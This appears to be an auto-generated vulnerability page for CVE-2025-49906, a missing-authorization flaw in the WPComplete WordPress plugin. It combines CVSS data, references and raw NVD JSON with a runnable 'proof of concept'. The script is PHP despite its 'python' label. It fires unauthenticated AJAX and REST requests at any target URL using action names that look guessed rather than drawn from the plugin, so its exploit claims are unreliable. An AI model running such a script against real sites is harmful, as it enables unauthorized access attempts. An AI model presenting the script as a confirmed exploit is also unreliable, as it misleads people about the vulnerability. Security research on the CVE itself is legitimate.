CVE-2025-49906

Description

Missing Authorization vulnerability in StellarWP WPComplete wpcomplete allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects WPComplete: from n/a through <= 2.9.5.3.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

WPComplete <= 2.9.5.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-49906 - WPComplete Missing Authorization PoC
 * Vulnerability: Broken Access Control in WPComplete <= 2.9.5.3
 * The plugin fails to verify user capabilities on certain AJAX/admin endpoints,
 * allowing unauthenticated users to invoke privileged functionality.
 *
 * Usage: php poc.php <target_url>
 */

if ($argc < 2) {
    die("Usage: php " . $argv[0] . " <target_wp_url>\n");
}

$target = rtrim($argv[1], '/');

// Common WPComplete AJAX action endpoints that may lack authorization checks
// These endpoints are typically registered via wp_ajax_ / wp_ajax_nopriv_ hooks
$endpoints = [
    '/wp-admin/admin-ajax.php',
    '/wp-json/wpcomplete/v1/',
];

// Sample payloads targeting common privileged actions
$payloads = [
    ['action' => 'wpcomplete_admin_action', 'data' => 'test'],
    ['action' => 'wpcomplete_export', 'data' => 'all'],
];

foreach ($endpoints as $endpoint) {
    foreach ($payloads as $payload) {
        $url = $target . $endpoint;
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        echo "[+] Endpoint: {$url}\n";
        echo "[+] Payload: " . json_encode($payload) . "\n";
        echo "[+] HTTP Status: {$httpCode}\n";
        echo "[+] Response: " . substr($response, 0, 500) . "\n";
        echo "---\n";
    }
}

echo "[*] PoC execution completed. Check responses for unauthorized access indicators.\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49906
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49906
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49906/
[4] VulDB https://vuldb.com/cve/CVE-2025-49906
[5] https://patchstack.com/database/Wordpress/Plugin/wpcomplete/vulnerability/wordpress-wpcomplete-plugin-2-9-5-3-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49906", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:36.503", "lastModified": "2026-04-27T20:16:16.187", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in StellarWP WPComplete wpcomplete allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects WPComplete: from n/a through <= 2.9.5.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpcomplete/vulnerability/wordpress-wpcomplete-plugin-2-9-5-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}